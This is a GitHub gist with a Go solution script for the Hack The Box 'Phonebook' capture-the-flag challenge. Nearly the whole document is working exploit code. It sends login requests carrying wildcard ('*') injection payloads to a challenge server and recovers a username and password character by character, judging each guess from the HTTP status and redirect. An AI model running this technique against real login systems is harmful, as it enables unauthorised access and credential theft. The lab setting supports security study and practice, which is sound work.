Skip to content

Instantly share code, notes, and snippets.

@husniadil
Created January 23, 2021 17:59
Show Gist options
  • Select an option

  • Save husniadil/3c69a715ab50990bfcc782dea7e38660 to your computer and use it in GitHub Desktop.

Select an option

Save husniadil/3c69a715ab50990bfcc782dea7e38660 to your computer and use it in GitHub Desktop.
Hack The Box: Phonebook
package main
import (
"errors"
"fmt"
"net/http"
"net/url"
)
// Solve https://app.hackthebox.eu/challenges/153
// Phonebook
// Who is lucky enough to be included in the phonebook?
// replace with your assigned instance
const loginPage = "http://159.65.87.50:32423/login"
// printable chars: http://facweb.cs.depaul.edu/sjost/it212/documents/ascii-pr.htm
const printableCharsMin = 33
const printableCharsMax = 126
const asteriskChar = 42
var httpClient = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
func main() {
fmt.Println("Brute forcing username")
username := bruteForce(nil, validateUsername)
fmt.Printf("\033[2K\r")
fmt.Printf("Got username: %s", string(username))
fmt.Println("\n\nBrute forcing password")
password := bruteForce(nil, validatePassword)
fmt.Printf("\033[2K\r")
fmt.Printf("Got password: %s", string(password))
}
func bruteForce(previousResult []rune, validateFunc func([]rune) error) []rune {
if previousResult == nil {
previousResult = []rune{}
}
for i := printableCharsMin; i <= printableCharsMax; i++ {
if i == asteriskChar {
continue
}
chars := append(previousResult, rune(i))
printProgress(chars)
if err := validateFunc(chars); err == nil {
// when valid, bring the result into the next iteration
return bruteForce(chars, validateFunc)
}
}
return previousResult
}
func validateUsername(username []rune) error {
payload := url.Values{}
payload.Add("username", string(username)+"*")
payload.Add("password", "*")
if login(payload) {
return nil
}
return errors.New("invalid username")
}
func validatePassword(password []rune) error {
payload := url.Values{}
payload.Add("username", "*")
payload.Add("password", string(password)+"*")
if login(payload) {
return nil
}
return errors.New("invalid password")
}
func login(payload url.Values) bool {
resp, err := httpClient.PostForm(loginPage, payload)
if err != nil {
// for the sake of simplicity
panic(err)
}
// login success when the status is not 500
// and ihe server tries to redirect the user to home
correctStatus := resp.StatusCode != http.StatusInternalServerError
redirecToHome := resp.Header.Get("Location") == "/"
return correctStatus && redirecToHome
}
func printProgress(username []rune) {
fmt.Printf("\033[2K\r")
fmt.Printf("Processing: %s", string(username))
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment